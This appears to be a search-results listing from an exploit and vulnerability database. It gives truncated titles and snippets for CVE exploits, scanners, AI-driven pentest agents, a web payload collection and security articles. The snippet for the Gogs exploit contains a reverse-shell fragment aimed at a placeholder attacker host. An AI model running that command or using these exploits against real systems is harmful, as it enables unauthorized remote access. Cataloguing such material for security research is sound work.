690 matches found
MetInfo CMS 8.1 XML Endpoint Behavior Analysis Tool
This script is a PHP-based analysis tool designed to interact with MetInfo CMS 8.1 endpoints through an XML-based interface. It uses cURL to send structured requests to a specific MetInfo module endpoint and evaluates the HTTP responses for basic fingerprinting indicators such as known keywords a...
Luban-2040
Luban 2040 v1 Advanced CVE & Exploit Finder Author: m...
Exploit for Special Element Injection in Apache Apisix
CVE-2026-31908 - Apache APISIX Header Injection Exploit !Se...
cruxss-bb-agent
CRUXSS Bug Bounty Agent A semi-autonomous bug bounty hunting...
Exploit for Cross-site Scripting in Roundcube Webmail
CVE-2024-42009 – Roundcube Stored XSS Docker PoC 📌 Overv...
Deterministic + Agentic AI: The Architecture Exposure Validation Requires
Few technologies have moved from experimentation to boardroom mandate as quickly as AI. Across industries, leadership teams have embraced its broader potential, and boards, investors, and executives are already pushing organizations to adopt it across operational and security functions. Pentera’s...
pentest-with-LLM
🛡️ pentest-with-LLM - Run Guided Security Testing !Download...
LLM-Guided Prompt Evolution for Password Guessing
Passwords still remain a dominant authentication method, yet their security is routinely subverted by predictable user choices and large-scale credential leaks. Automated password guessing is a key tool for stress-testing password policies and modeling attacker behavior. This paper applies...
Exploit for Deserialization of Untrusted Data in Facebook React
R2SAE - React2Shell Auto-Exploit A Firefox extension...
Exploit for Path Traversal in Gogs
CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' Cleanu...
Terrapack TkWebCoreNG File Upload Endpoint Audit Tool
This Python script is a simple security audit tool designed to test the file upload interface of applications using TkWebCoreNG. It does not actual exploit anything...
Exploit for Argument Injection in Gnu Inetutils
Telnet Vulnerability Scanner CVE-2026-24061 & CVE-2026-32746...
Caido-Plugin
Github • Documentation  ...
7 Best CTEM Tools to Reduce Your Attack Surface
To truly secure your organization, you have to start thinking like an attacker. An adversary doesn’t care about your endless spreadsheet of CVEs; they look for a single, exploitable path to their objective. So, how do you find that path before they do? You start by using threat intelligence to...
web-attack-payloads
Web Attack Payloads Collection !Cybersecurityhttps://img.s...
PT-2026-25586
Summary Prior to Memray 1.19.2, Memray rendered the command line of the tracked process directly into generated HTML reports without escaping. Because there was no escaping, attacker-controlled command line arguments were inserted as raw HTML into the generated report. This allowed JavaScript...
Exploit for CVE-2026-29000
CVE-2026-29000: pac4j-jwt Authentication Bypass POC This repo...
Microsoft Windows Service Binary Misconfiguration Tester
This document and included Metasploit module analyze the security risks associated with improper Windows service configurations, specifically focusing on writable service binary paths that may lead to privilege escalation. Note that this condition does not occur on a default Windows installation...